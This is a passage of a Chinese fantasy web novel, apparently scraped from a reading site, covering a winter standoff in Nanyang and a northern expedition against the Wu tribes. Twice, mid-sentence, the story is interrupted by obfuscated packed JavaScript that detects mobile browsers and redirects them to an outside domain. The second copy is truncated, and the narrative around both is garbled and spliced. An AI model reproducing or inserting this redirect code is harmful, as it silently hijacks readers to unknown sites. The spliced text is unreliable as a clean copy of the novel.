具体来说就是,双方主力都在淯阳郡境内,大约隔着淯水对峙,双方最高战力以及指挥中枢也在这里,却都不固定地点,算是动态的调整。而在重兵集团外围和最高战力远端,则频繁发生规模限定的军事冲突。 今天黜龙军处心积虑打了一个伏击,明日关西军忽然突袭了一个驻军村庄。 可即便是规模有限,双方高层也都不免心惊肉跳,还是那个缘由,眼下这种天气极大的放大了减员率,双方都觉得“本不该如此”的伤亡太多了。 谁不比谁心疼? 故此,对峙与军事冲突的同时,双方不约而同的加大了对盘踞南阳腹地三万淮南军的诱降力度……这使得南阳成为了威逼、利诱、人情、阴谋与袭杀的重灾区。 用闻人寻安的话说,大冬天的,竟比当年淮右盟成立时还热闹。 “我跟你说实话,我是怕了,下面兄弟们也怕了。”闻人寻安对上自己外甥到底卸下了伪装。“那一战前,怎么都能谈,黜龙军到这儿,我便降了,关西人先到,我也降了……但腊月十五那一战,不光是你们怕了,我们也怕了……听说积雪都被染红了,盖上新雪后又冻上了?” “是。”脸上还裹着纱布以至于看不清表情的郭祝指了指自己脸。“里面也有我半升血。” 闻人寻安再度看了几眼这个伤口,然后才点头:“好在已经有婚姻了……不过,你既也打了那一仗,便该晓得舅舅的意思。” “晓得。”郭祝叹了口气。“见了这么多血,命就不算命了,尤其是你们算外军,今日想法子诱降了,明日想起你们的坐地起价耽误了多少性命,愤恨起来直接砍了也无妨……但是舅舅,你想过没有,你越是拖延,俩家都越是恨你们!所以不如早降!” “早降,早降!你与你舅舅装什么糊涂?!”闻人寻安气急拍案。“现在你们俩家一起卡在淯水,我降了一家,然后呢?这个大雪我是能让这么多淮南军都听我的去学你们拼命,去拦另一家的后路?而若不能动员起大军参战,结果又是另一家最后咬住了南阳,便是全军一起倒霉!还拖延?这是我想拖的吗?” 郭祝抚面不语。 闻人寻安见状,言辞不由恳切起来:“关西那边不好说,但你是我亲外甥,务必要把我的难处告诉张首席,告诉他我们没二心,只是要为三万淮南子弟性命做个保护……等雪化,等雪一化,我立即去见张首席,南阳也是你们的。” “舅舅。”郭祝终于不耐。“你莫以为我们这边跟你有些瓜葛,张首席又是个讲道理的,就拿捏我们……这事你但凡歪一点心思,都躲不过人家眼睛,到时候谁再想起这雪地里的血冰来,一发给你算总账!我直白的说,已经有河北来的骑兵总管大头领建议,若是你们不能在关西人走之前降,便要当做敌军,十一抽杀的!” 闻人寻安大惊,瞪着眼睛起身,却不料对方丝毫不惧,戴着纱布看了回来。 闻人寻安彻底无奈,重新坐下,但还是愤恨,便侧身拍案来骂:“**王老九!我当日怎么着了他的道?!” 郭祝摇头不止:“舅舅想多了,只怕王代积当日也没想到这个场景,他明显只顾着自己那一套乱世手段了,就好像你当时眼里只有这三万兵一般……不过张首席也没忘了他,听人说,张首席专门在东都南面约见了他,临阵抽了他巴掌,说下次交战,一定扒了他的皮!不然舅舅为什么以为我要主动过来,只是为了求功勋?我是真怕你被王代积带进沟里以后又失足滑倒,竟淹死在这水沟里!” 闻人寻安心下彻底不安起来,偏偏也是无法,最后只能掩面相对:“我是说,当日就不该跟王老九过淮河,不然咱们舅甥早在一起安乐了……你在那边知道吗?曹凡都去淯水见张首席了!他凭什么这么顺畅,稳坐寿春就能趟过这乱世?” “曹凡、曹汪。”郭祝当然晓得曹凡是老家淮南郡郡守。“加上河北的元宝存,也得看运气和身段……非要梗着脖子的,神仙也救不了……舅舅,你不能只看着这几个活下来的,忘了那些**的郡守、通守、总管、副总管,黜龙军占东境入河北杀了多少?前几年几十路烟尘的时候杀了多少?” 闻人寻安只是埋怨,心里当然明白这个道理,此时闻言,逃避心态更重,干脆掩面不语。 不知道过了多久,处在战团中心的这位淮南军临时领袖,方才想起什么似的,突然来问:“我不过这几日而已,都要把头发熬白,司马正这几年是怎么过的?” 郭祝这可就不晓得了,他只觉得面颊抽疼。 他也觉得为难好不好?他也想救自己舅舅,想让自己老乡、同袍都少**好不好? 当然了,煎熬的不只是这对漩涡中的舅甥俩,整个河南地界都陷入在这种冰雪地狱里,张行半夜都能惊醒,想起那七千减员来,下面人也没辙,头领、大头领、龙头,谁不心疼自己的兵? 就连负责后勤的人跟地方官吏都焦虑的不得了,因为这种天气下的物资转运,消耗与损失远超想象,眼看着府库无数百姓辛苦多年的积存以一种匪夷所思的速度变空,看着无数民夫冻伤、累病……一会严格要求日期与数量,一会严厉处决酷吏,后勤线上谁不麻? 从柴孝和往下,哪个不肝颤,哪个能忍住不去想十年前的百万征东夷! 而这种情况下,张行也好,下面的人也好,唯一能做的就是不停的开会和廊下食,廊下食其实也要说话,也算开会,不停的用这种方式安抚人心、贯彻传达作战意图,弄清楚下面人的担忧和难处,针对性的解决和安抚,然后一遍遍告诉所有人,对面关西军的死伤更重!对面家底子更弱,后勤线更难! 坚持下去,就是胜利,胜利也不是只得区区一个南阳,而是全局对关西人的胜利,是大明统一天下的必然经历! 某种意义上来说这当然算实话,白横秋就是更焦虑,那一战就是他们死伤更多,而且很多都是被逼着初上战场的贵族、官宦子弟,是关西人的根基!后勤线上的损耗也明显更多,武关道那条路一直拉扯到淯水,怎么可能比河南一马平川来的轻快? 甚至,理论上此时应该稳坐的司马正、王代积都在患得患失,整日在关前难安,毕竟,黜龙军跟关西军现在对峙的地方是他们之前的地盘,他们也要想着接下来只剩东都一隅怎么办? 人心怎么收拾?拿一座城一个河南郡去告诉天下人与自己人,他们还有机会? 这种情况下,一件匪夷所思的事情出现了。 司马正开始调解黜龙军与关西军……只能是黜龙军与关西军,不能说大明和大英,不然大魏就要出场了,那可就真天下侧目了。 不清楚是司马正还是王代积又或者是李枢、苏巍、段威的方案,核心思路就一个,天这么冷,你们损耗这么大,还没什么进展,不如两家罢兵,把地盘还给东都。 这当然是胡扯蛋! 张行接见了老上司胡彦,请他在武川城外吃了顿饺子,就撵了回去……另一边去见白横秋的牛方盛甚至还被白横秋摸着背喊着贤侄拉拢了一番,邀请他出任南阳郡守,牛方盛只能赶紧逃回去。 如此这般,两三次之后,腊月廿五左右,东都给出了理论上最合适的价码,双方年前撤兵,以淯水为界,平分南阳,但襄城郡与弘农郡保留给东都,淮南军则任其去留……如果两家再不同意,年关的时候,司马正将亲提大军南下,顶着这个天气与两家在淯阳做上一场。 到时候,冰天雪地,死伤累累,各自心安。 坦诚说,这个条件还算公平,而且威胁确实有力量……司马正和他的东都军也被逼到了墙角,从心态上来说,从实力来讲都有发动这个大家一起糟烂的潜质。 张行本人甚至都有些动摇……他几乎可以想象,如果河南这里的二三十个营一起打烂了,会有多大的损失,整个河南的根据地会变成什么一副模样……甚至会让黜龙帮失掉东境根据地的一部分人心! 但是理智告诉他,司马正不大可能这么干,而万一他真要这么干,黜龙军也不怕。 原因很简单。 首先,这么干,最终得利的可能是黜龙军,是关西军,但绝不可能是东都,因为黜龙军在河北轮换的部队尚在,河南这些营头,本来就是杂牌和后续新编制的多些,打烂了河南,河北照样能出动主力继续在春耕后作战;关西那边类似,这次出动是贵族与官宦子弟加卫戍军,虽然这些部队的崩坏一样会造成恶劣影响,但关西人的府兵整体尚在,一样会再度出动;反倒是东都,现在就是这些地盘,就是一个司马正加寥寥几名大将加那几万兵,一旦失利,很难补充回来,东都主动寻求决战只会把自己往绝境逼迫。 其次,司马正这个人说好听点叫有些贵族风范,说难听点叫总想求全责备,既要实利又要风度,很难想象他忽然红了眼。 真红眼,也是被东西两家给逼的才对。 而最后,黜龙帮有坚持下去的理由。 当然,还得开会,先开龙头级别的会议,重复要求他们不得擅自与下面的大头领、头领们讨论北地-巫地事宜,然后阐述情况,要求坚守,并做好可能的战斗准备,包括撤退路径、回旋空间等等。 但说实话,这几位河南的龙头面色都不好看。 道理是道理,河南的营头崩溃了,各行台动荡了,不妨碍河北主力继续作战,也不影响北地突袭的成败,更不影响黜龙军夺取天下。 但谁让自己是代价呢? 偏偏这事还是司马正挑起来做威胁的,真有个万一,也算不到其他人头上……而且就现在这个局面,你还真能因为他一句话就撤咋地? 退一万步讲,对面伏牛山麓设大本营的白横秋都没走,你想走也不可能呀。 埋怨张行一开始就不该来河南出兵? 这更胡扯了,一开始吃淮西六郡的时候怎么没见到谁反对?反而是有人争功,有人担心迅速打进长安会不会导致头领数量的分配出现问题呢? 于是乎,会议在一种极为不安的气氛中顺利进行了……张行说的话没人反对,就应该这么做,也只能这么做,但所有人,全都脸色铁青。 眼见如此,张行沉思了一会,没有着急散会,而是忽然来问:“咱们着急,咱们不安,白横秋没道理稳如红山吧?” 这不是废话吗? “他肯定跟我们一样。”单通海又开始瓮声瓮气的说话了。“不安归不安,也一定会在南阳这里钉死的。” “我的意思是,反正他比我们更难受,为什么不能加一把火?”张行认真道。“比如,这不是司马正要我们议和吗?我们为什么不假装想议和,绕过司马正主动与他议和呢?” “他……” “反正我们不走,他要是万一信了,撤了,我们便直接吞取南阳;他要是不信,不撤,也让他难受一下,让关西人内里更糟乱一些……诸位,咱们根底上还是在跟关西人争天下,争天下本质上便是他们崩摧了,咱们还活着,倒也未必要学司马正一定风度翩翩,甲胄鲜明,对不对?” “我是怕我们议和的消息走漏,咱们内里军心生乱,南阳那边那口气也绷不住。”牛达诚恳来言。 “无妨,咱们不走正经路子,各方面该如何就如何,万一下面有传闻咱们就说是司马正的计策,反正都要应对司马正这一次的事情。”张行认真言道,然后稍微一顿。“就是要白横秋更不好受!” “首席想如何做?遣谁为使者?”牛达追问道。 “不用正经使者,也不用正经法子,白横秋到底是我岳父,遣人送他一盆鸡汤便是。”张行俨然是刚才起主意时便有了想法。“当然,要是还用间谍,让张金树去用一下。” 几位龙头面面相觑,但有总比没好,也只能顺从。 其实,他们不晓得是,张首席此举,固然是要直接施压白横秋,但更多更直接的是为了眼前这几位龙头能稍作释放……面对艰难处境,总得捣鼓点什么,吸引下人的注意力。 果然,当白横秋看到那一罐子都结冰的鸡骨汤时,直接被气笑了,当场打翻在地。 然后,满帐之人都亲眼看到了里面那不知道多少只鸡才凑够的十几根鸡肋骨。 “鸡肋,鸡肋,食之无味弃之可惜。”张世静几乎是脱口而出。“他这是要劝我们接受议和?黜龙军已经准备议和了?” 此言一出,帐中上下,一起耸动,纷纷探头去看这些鸡肋骨。 而白横秋心中一紧,却是陡然不安起来……以他的修为当然第一时间看清楚了这些鸡肋,打翻是真的生气,唯一的问题是,打翻这个坛子之前,他觉得帐中都是自己人,发脾气也就发脾气了,可打翻之后,却又担心这个信息会带来不好影响? 到底是自己被时局逼迫的开始疑神疑鬼,还是说时局之下原本最值得信任的人此时也开始动摇了呢? “议和个屁!”就在这时,昨日才从后方带援兵赶来的刘扬基忽然跳了出来,大声喝骂。“这是争天下呢,不是翁婿商议席面!张三贼明明是要借此扰乱我们军心!” 张世静一愣,旋即肃然:“诚然如此,这鸡肋诚然是这个意思……只是刘公,争天下便要急促不可耐吗?我们划淯水为界,回身休整一二,渡过春耕再来征战不行吗?刘公,前线苦战,子弟损伤难计!” “后面也在苦捱。”刘扬基收起刚刚的戾气,肃然相对。“只还是不能撤!张公,你可曾想过,若是我们此时撤了,黜龙贼不撤又如何?” “那不正好?”张世静不解道。“司马正断然不能忍受黜龙贼全取南阳,不就轮到我们坐滩观龙斗吗?而且我们也不是不打,正好过了年,冰雪化开,再来吃他们的残兵败将,南阳还是我们的。” “不是这样的。”刘扬基本想说过年后河北又要出击,但话到嘴边却又咽下。“还要考虑张行集中力量,趁着司马正离开东都一并而胜的可能……” 张世静还要言语,却不料白横秋忽然开口:“这事不要再说了,刘大将军说的有道理,除此之外,诸位,我们还有一个关碍摆在南阳,切莫忘了,谁要是能得到南阳,打通荆襄,谁就能去支援大江之上……韦元帅与三娘修为都到了门槛上,气机相滞,这个时候谁要有像样的高手过去,便是坏了两人成大宗师的气机,也足以分辨胜负了。” 张世静立即颔首:“原来如此!所以,南阳这里一定要咬住牙关不放松,分毫都不能相让。” 刘扬基面色不变,心中却有些疑惑,张世静这是真的想撤军又被提醒?还是主动卖破绽为之前这鸡肋找补呢?前线这里,竟然到了这帐中登堂**的众人都不敢信任了吗? 果然,此事之后,当晚伏牛山大营内便流言四起,原本上下都在说司马正要做调解,让两家议和回家过年,来年再战,而现在更是添油加醋,说黜龙军也已经同意,若是自家不同意,便要在年关时一起来攻杀自家。 于是,陛下也同意了。 当夜,就有人打包行李。 白横秋得到汇报,倒是没有再度大惊失色,只是让军法官严肃军纪,同时派遣心腹张世静清查泄露消息的将领……然后当夜,这位大宗师竟然有些失眠,而翌日早间的睡梦竟然又做了噩梦,梦见自己昔日为司马氏大行台亲卫,夜间戍卫大行台时,总有肥硕老鼠出没,因为不舍得用剑和长戟去戳,便用烛台去刺,结果刺了一只又一只,老鼠没有刺完,反而烛台点到纱幔,让司马氏那位少主直接烧**。 司马氏少主既死,那便没有司马氏内斗,没有内斗,曹氏如何上位?曹氏不上位,没有曹彻这个疯子,自己如何能成事? 醒来以后,白横秋满头大汗,须发缭乱,心中警醒不已。 若是冲和在此,一定要请此人为自己占卜一卦,但没有此人在此,他也能想到,局势确实已经很糟糕了,不然如何让自己这等修为梦魇至此? “喊刘扬基跟张世静来。” 想来想去,腊月仓促出兵,能信任的人不多,尤其是还出了昨晚的事情,白横秋只能喊这二人来。 两位文武心腹本就疑惑皇帝为何没有例行早起,此时匆匆赶来,闻得叙述,不免心惊,继而忧虑起来。 倒是白横秋此时已经有些冷静,而且意图明确:“你们替我想一想,哪里有什么我没想到的破绽?又或者什么地方做的不够好,可能会是破绽?” 张世静一时沉吟不语,刘扬基倒是干脆:“我觉得要真有大破绽,未必是眼下,眼下当然重要,但要说直接的败局还不至于,应该是他处……比如说,黜龙帮会不会想法子说服东部那里,用金珠收买巫族人再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168052|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度南下?比如会不会是南面三娘破了桎梏?不过,要说最有可能的,且近在咫尺危机应该是明年开春,黜龙军河北主力再出,干脆去打晋阳,咱们怎么办?” 白横秋沉默片刻,点点头:“那你觉得呢?” “把府兵按住。”刘扬基肃然道。“不要让他们支援了,好生过年……折腾也就折腾了,别出来了。” “也只能如此。”白横秋点头。“就在这里耗着,冰天雪地其实对我们也有利,真打烂了,也就烂了,还有主力可以在关中观望局势,应时而动,到时候万一是巫族人来了,或者巴蜀被破了,也能支援……还有呢?” “还有一件事。”刘扬基迟疑了一下,还是继续来说。“我觉得除了黜龙帮早几年强制筑基这件事让我们低估了他们的军事外,还有一件事,可能也让我们低估了人家,反过来高估了自己……这事平时不显山露水的,可真要是这么熬下去,就显出来了。” “怎么说?” “他们喜欢开会。”刘扬基喟然道。“我之前也看不起这个,但现在,从后面过来,就觉得长安人心诡谲,来到这里,发现军心混乱,尤其是这些年轻的官宦子弟,刚出来的时候,咱们都知道局势不好,应该稳住,却不耽误他们争先恐后要建功立业,而转身一场败仗,多**几个人而已,于大局其实没有多少动摇,便沮丧失能,畏惧不安……而人家黜龙军开会,虽然耽误时间,却能在败时安抚、稳定人心,胜时保证赏罚公正,让争端消弭在嘴上……” “你说的对。”白横秋忽然打断对方。“但咱们学不来……黜龙帮自己的制度,甚至越过了国家,咱们却只有一个大英的制度做倚仗,想开会也难……唯一能做的,不过是在军中多些廊下食罢了。” 刘扬基点点头,复又摇头:“怕只怕人心消磨,忽然哪次战后便撑不住了……陛下,你问我破绽,我便想到这个。” “确实。”白横秋仰头一叹。“归根到底,咱们高估了自己,低估了黜龙帮……秋日出兵的时候,咱们上上下下都觉得战力要明显优于对面,骑兵也是我们多,府兵更善战,数量我们不差……结果这里一点,那里一点,最后不过一秋一冬,竟是对面反过来在逼迫我们了。” “不要紧。”张世静终于开口。“退一万步说,便是一时落入下风,争不过,咱们退回到关内,以守待攻,总有一番局面和将来……便是东都,司马正这么难啃,咱们也未必不能在关键时候再冲出来,做个分明。” “张公这话虽然丧气,倒是诚恳之言。”刘扬基也认可。 “道理诚然如此。”白横秋微微一叹。“但还是要小心些……天意高远,如今果真还是当年东西相持的大势吗?人心思定,都觉得要尽快弄出来一个天下一统出来,一定要防着一败而山崩。” “不管如何,张行真能越过东都去?”张世静咬牙道。“司马正这么难啃,只要他在,咱们跟黜龙帮便是五五相对的大势!陛下不必过虑。” “好。”白横秋强打精神。“正是此意。” 三人态度不一,但都没有提及如果采取守势可再过几年黜龙军中修行者数量爆发该如何应对? 眼下已经捉襟见肘,心力交瘁好不好? 大宗师都做梦杀老鼠了! 这个世界就是这样,如果你觉得你在煎熬困苦,那一定是在为他人负重前行,如果你觉得不够快乐,一定是其他人在替你快乐。 就在河南三家主力一起士气低落,军心沮丧之际,巫地,具体说是东部巫地,已经完成了横扫千里如卷席的盛举! 整个东部巫族,在王庭主力一战而败,可汗都蓝逃窜消失,降者过半、死者过半之后,再加上十万黜龙军最后两万辅兵成功上岸,整个腊月中下旬,远征军都在打快乐仗。 真真是当者披靡,望风而降。 而且赏赐如云,丁口牛羊,金银财宝,甲胄战马,丝毫不缺,连前期少数留存的新降部落都吃的肚子滚胀,莫说远征军了。 等到腊月廿六这一日,李定和刚刚从后方赶来的窦立德一起昂然打马进入了都蓝王庭所在地时,十万远征军加十余万仆从军,几乎漫山遍野,军势之大,震动苦海。 进入堂中,举行大型廊下食宴会,李定自然也要在开阔地召开宴会。 结果,吃到一半,又开始下雪了……巫地八月即飞雪,腊月是一年最冷的时候,大河都要封冻,谁还能埋怨天气?反正宴席上的东西大家都看到了,于是众人各自拾掇,回到各自帐中饮用。 李定占据了王庭里都蓝可汗的王帐,说是帐,其实已经是一个永久性建筑,砖石土木俱全,高大宽阔,里面还有一把金色的雕花交椅,椅背上立着一对巨大的相互抵角金鹿,两侧则展着烂翅龙翼,正是巫族祖龙血脉象征。 而李龙头直接坐了上去,换了金碗金筷子就用。 这一幕看的窦立德眼皮直跳,却硬是没有多余表情和言语,只当没看见……但说是没看见,还是有些忍耐不住。 片刻后,其人直接开口,却是谈起了最重要的正事:“李龙头,我只是来送最后一批辅兵,马上就要回去,临行前,能否问一问,如今东部如此迅速平定,你手握二十万众,兵强马壮,什么时候南下去打长安?现在南下,会不会立下奇功?” 此言一出,刚刚挪回帐中的远征军高层全都停下,认真来看如今威望卓著的李龙头。 李定闻言,也不遮掩,即刻回复:“我现在不准备去打长安,我要去打中部突利。” 窦立德一时有些茫然,茫然中又带着一丝警惕,他只能在思索片刻后勉力来问:“为何要打中部?据我所知,中部和东部之间有一片荒漠,虽不是毒漠,却足以分割形势,不然也不至于弄出巫族三部来了……更重要的是,现在的兵力已经足够威胁长安了,一旦南下,天下大势就定了!” “窦龙头这话对也不对。”李定本想解释,但扭头看到张世昭,便抬手示意。“张公,请你为窦龙头做个解释。” 张世昭闻言,反而摇头:“这话还得李龙头亲自说才好。” 李定莫名其妙,但还是认真来与窦立德解释:“道理很简单,荒漠到底不是毒漠,还是能通行大军的,尤其是对巫族本人而言就更是如此,至于我们所谓的二十万大军,**起来容易,散起来也容易……所以,现在出兵南下最大的麻烦是,如果我们南下,依着这里的局势,等我们到毒漠塞口那里时大英肯定已经知道了消息,如果被他们堵在塞口,而中部的突利又遣主动来东部这里収降各处部落,这些附庸部落必然会立即倒戈,到时候能战的不过是那五六万主力,说不得就会陷入绝境。” 窦立德想了一下,他不懂军事,当然不晓得是不是一定如此,但最起码对方给出了一个理由,倒是只能顺着这个说:“所以要先打下中部,让大军没有后顾之忧?顺便集结更多兵马?” “是。”李定立即点头。 “但要是这般说,中部一定有了警惕,我们又不熟悉道路,连中部王庭的路怎么去都不知道,要何时才能打下来中部的突利?若是打到明年、后年,前方胜负已分……或者更麻烦的是胜负不能分,到时候怎么跟张首席交待?”窦立德追问不及。 而耳朵尖的众人已经听懂了这位窦龙头的潜藏含义,是要李定注意**。 然而,李四郎闻言反而皱眉:“如何要与他交待?我们这般辛苦作战,渡海涉雪,还要越过荒漠去作战,不都是为他打的吗?按照时日,过两年他就要做皇帝了,应该是他要顾忌我们辛苦才对。” 窦立德张口欲言,一时反而语塞。 堂中不少人,也忍不住去瞥上面那位威望鼎盛的李龙头。 而李龙头丝毫不觉,继续回到正题:“至于说打到明年、后年,那也是胡扯,我李四既然掌军,当然晓得巫族特征和兵贵神速的道理,这一仗反而只能打快!窦龙头,你若回去,未必赶上过年,不如等在这里,且观我破敌!” 窦立德依旧无言以对……毕竟,知道的,自然知道你李定只会打仗不懂**,不知道的,还以为你要挟持另一位大龙头,故意拖延,尝试吞并整个巫地自立呢! 还来不及过年,且覌我破敌?! 我看你过年怎么破敌! PS:是这样的,《绍宋》漫画第二册快要出了(不知道具体日期),但这次要签名……签两千张亲签,我看有个顺丰明早到,不知道是不是,而且据说还要先签一千张再给漫画老师交换再签一千张……我就没干过这事,但据说是个费时费力的活,先给大家说一下,万一更新有磕绊别着急。 第九十七章 送乌行(7) 窦立德清晨起床的时候,发现自己昨晚宿的居然是一张金鹿榻,便亲自指挥人换了,方才出门。一出门,正见到一些远征军在雪中放麻雀和乌鸦。 而且是先放麻雀,过了一阵子,方才放乌鸦。 窦龙头看的目瞪口呆,也不晓得这些人在作甚,难道是荡魔卫的人在做祭祀?听口音不像呀。 正疑惑呢,还是穿着黑氅的张世昭走过来,稍作介绍:“窦公不知道,这是寻路的,巫地冬日水源封冻、风雪如沙,鸟禽只能随人走,尤其是麻雀和乌鸦,而且越是缺粮越是群**……至于为什么同时用两种?乃是因为乌鸦什么都吃,饿极了麻雀也吃,乃是用乌鸦驱赶麻雀,麻雀引诱乌鸦,好将这些禽鸟带远一些。” 窦立德恍然,继而感慨:“李龙头是有些能耐的……这是怎么想到的?我还以为是祭祀黑帝爷的。” 张世昭嘿嘿笑了一下:“他这人心思都在这上面,就好像窦龙头善于人事一般,我稍懂巫地风俗一般,都是熟能生巧。” 窦立德回过神来,不由也笑,却没有继续这个话题,而谈起另一桩事情:“大司命在何处?我亲眼见他渡海的……如何又不见?侦查这个事情,包括去打突利,有他在,能多胜五分吧?便是南下,有他在,或者他守在此处,又怕什么身后被袭,身前被堵?” “巫地的事情没那么简单。”张世昭笑道。“不然代代大司命都是大宗师,早把巫地撂了,如何要借黜龙帮的手?黑帝爷跟罪龙之间,也是数千载的恩怨,自然要有些如吞风君一般的说法。” “也就是说,这……这罪龙也有些传承?”窦立德转了半圈,找到了一个房子屋檐上烂翅龙的标志。“也是,人家巫族几千年了。” “这也是当年曹林怨恨我的一个缘故。”张世昭喟然道。“他自白道关进军,以为自家要在毒漠上跟那些裸着上身、刺着刺青的毒漠行者一决高下的,结果人还没到,我一个凡人就在里面把巫族拆了,事后计算功勋,竟然是我头功……” 窦立德点点头:“所以这一战,根本上还是人跟人斗法,便是黑帝爷跟这位罪龙真要显灵了却旧怨,想来也会在天上打,海底捞,是这意思吧?” “这是自然,这些神仙至尊越来越不敢理会凡间事了。”张世昭继续言道。“这是从祖帝开始,几千年英雄血逼的,不然哪来的李龙头船上鞭笞黑帝爷的镇石?” 窦立德敷衍着点点头,没有接口。 “倒是有些凡间英雄,时不时的想要登天……你看,咱们张首席不就是吗?”张世昭笑嘻嘻来言,嘴前一片白气。 窦立德没有吭声,只是去看落下的雪花,而过了片刻,眼瞅着远处一面“苏”字旗立了起来,然后往外面去移动,也不知道要去做什么,而很快,旗下之人竟然骑着马引着几十骑从不远处的王庭中央大道上路过,还远远朝这里拱手。 竟然是女婿苏靖方。 窦立德也远远一摆手,示意对方不必下马,直接去忙,又目送自己这个好女婿带着他的旗帜直接奔出王庭,方才缓缓回头,神色冷峻来看等在身后之人:“所以张公的意思是,张首席要做神仙,咱们不如捧着李龙头做皇帝?” 张世昭当场大笑:“不这么说,窦龙头怕是都不愿意听我说话。” 窦立德被弄得无奈,只能拢手来问:“张公到底想说什么?” “我想说两件事。”张世昭笑完之后,也稍微严肃了一点。“其一,李定李龙头这个人,是真想做皇帝的,他很早就有类似志向,一直到现在都还时不时的想起来,而这件事情竟然是张首席当笑话传出来的;其二,眼下的局势,不管是魏玄定已经做了几年国主,还是李定忘不了自己的皇帝,都无人能动摇张首席在帮内的权威……昨日李龙头言语行止荒悖,但有句话说的极好,那就是,咱们这里到底是为张首席打天下!哪怕是张首席自己姿态高,私心少,咱们换成说是为黜龙帮打天下,可真正能在帮里施展抱负,指画天下的,不也是他张首席为先吗?” 窦立德半晌无语,许久方才嗤笑一声:“所以张公莫非是想说,我窦立德心里不干净,所以看李龙头举止便觉得他也不干净?” “不是的,还是李龙头不干净,他太依仗着张首席对他的信任了,他知道张首席知道他还想着皇帝的事,晓得张首席对此事的戏谑,还晓得张首席对皇帝这个位子素来有些瞧不上,所以不免起了些孩子脾气……实际上,依着我对张首席的了解,他或许还真会觉得有趣,但李龙头到底不是孩子了,黜龙帮家大业大,也不是他们两人的玩物。”张世昭说到这里,顿了一顿,看向了窦立德。“窦龙头,你晓得我的意思吧?咱们在做事业,不能让这些有的没的事情影响到战事!张首席让你督导远征军后方,可不只是负责接应和后勤的。” “我晓得,我晓得,我保证不会有人乱传。”窦立德点点头,也只能点点头。“不过,还得看李龙头自家,若是他真能再速速来一场之前港口之战,了断中部巫族,他便是在那鹿头座上撒尿,怕是都无人理会他。” “应该可以的。”张世昭对李定倒是颇为推崇。“巫族破绽太多了。” “其实,真要说功劳,张公你的功劳也是极大的,若没有之前你那一回,巫族哪来这么多破绽?”窦立德这话倒是恳切。 “便是如此,也要重新收拾一遍。”张世昭明显不以为意。“而且,也该收拾起来了!” 二人既然说开,有些入巷之态,便要继续言语,结果就在这时,正中间的王帐忽然有鼓响,两人赶紧敛容往那边去,果然是李定在擂鼓聚将。 须臾三通鼓毕,见到人齐,依旧坐在正中宝座上的李定开门见山:“诸位,我准备今日便出兵,攻伐中部巫族突利可汗!” 饶是刚刚打了一个极大的胜仗,下面个个人心振奋而主帅威望暴涨,此时也有不少将领愣住,便是苏睦、王臣愕这些心腹大将也明显愕然……昨天是说要征伐了没错,还说要窦龙头观战的也没错,但今天就出发?! 这王庭的床都还没睡舒服呢!那金银甲胄战马勇士都还没分利索呢! 便是荡魔卫的几位,从黑延到陆惇到黄平,三位主事的也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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满帐鸦雀无声,只有外面还有几声乌鸦叫,几乎所有人都被李定之决绝给震慑到了。 这厮竟然是那天刚打完胜仗,就计划当日了。 便是一直强忍着没说话的窦立德想起早间的女婿,也赶紧偷偷去看,果然帐中少了几名青壮将领,而且不止是自己女婿,女儿竟也不在! 这李定用兵太狠了! “窦龙头。”就在这时,李定忽然轻声唤了这位帐中第二人一声。“你的事情也很繁重……我之前打完仗一定邀请你过来,昨日又说让你观战,可不是真让你干看的意思,那是当时还没到这个出兵的口子,不好与你说实话。我既要出兵,只能带咱们自己的人,这里必然要有分量足够的人替我安抚降人,控制剩余部队……什么法子都行,你把他们拴住,再给我准备好后勤,等我捷报!” 事到如今,窦立德还能说什么?! 其人微微颔首,只瞥了一眼张世昭,旋即云淡风轻:“万事之后备,我自担之,请战帅从容用兵,以成奇功!” PS:后脑勺生疼,死活睡不着,补了一章。 第九十八章 送乌行(8) “你姓窦?” 外面在下雪,东部巫族王帐内,端坐在中央金鹿烂翅龙座上的窦立德停下手中笔,打眼来看下方俯身之人。“籍贯是河北河间人?” “是。”窦濡恭敬做答。 “是河北本地人,还是关西来的官宦人家?” “祖籍是关西。” “河间大营副总管窦丕是你什么人?” “正是家父。” “如此说来还是故人?” “正是如此……若非如此,也不至于当夜便降了,还劝都速五他们一起降……只是,小子宁可不如此。” “哎呀……你为何在此处呀?” “做大使……小子回到关西,因为是窦氏子弟,父亲又做到副总管,还死在了河北,长安朝廷无论如何也要给小子一个登堂**的职务,家主是窦尚,他安排的,让我加礼部侍郎出使巫地,又因为前魏成义公主的缘故,中部那里不好做事,便来了东部寻都蓝。” “窦濡。” “小子在。” “咱们都是河北来的,你也晓得我们黜龙帮内情,也应该晓得我……前途、安全,我都能与你,你现在把你觉得有用的讯息都汇报过来。”窦立德终于也不装了。 窦濡同样没有装,乃是从怀中取出几张纸来,通过一旁侍卫递上。 窦立德当年**前就是做县吏的,如何不通文案,只是大略一扫便在其中一条上心中微动,却指着另一条皱眉开口:“你觉得都速五会反?” “回禀龙头,不是觉得都速五会反。”窦濡抬起头正色解释道。“而是说,这一类投降后还握着直属兵马或者部落的巫族人根本不可信,一旦我们南下,而突利又来,甚至不需要突利来,只是都蓝单骑回来,长安再给些许诺与好处,他们可能都会反叛……这些人反叛,就好像他们昨日汇集到此地服从李龙头一般,也好像他们当日一陷入困境就投降一般,都是习惯,都会格外轻易。” 窦立德点点头:“我晓得了,两三日后李龙头平叛回来,我与他细细说,看看能不能想想法子,或者稳一稳,开春与中部或盟或战,定下来再南下。” 窦濡没有接话。 “关中的府兵折冲府位置,倒是跟以前一样?”窦立德指着另一条来问。 “他想改也难。” “白道关守将还是陈凌?”窦立德忽然指着一个人名来问。 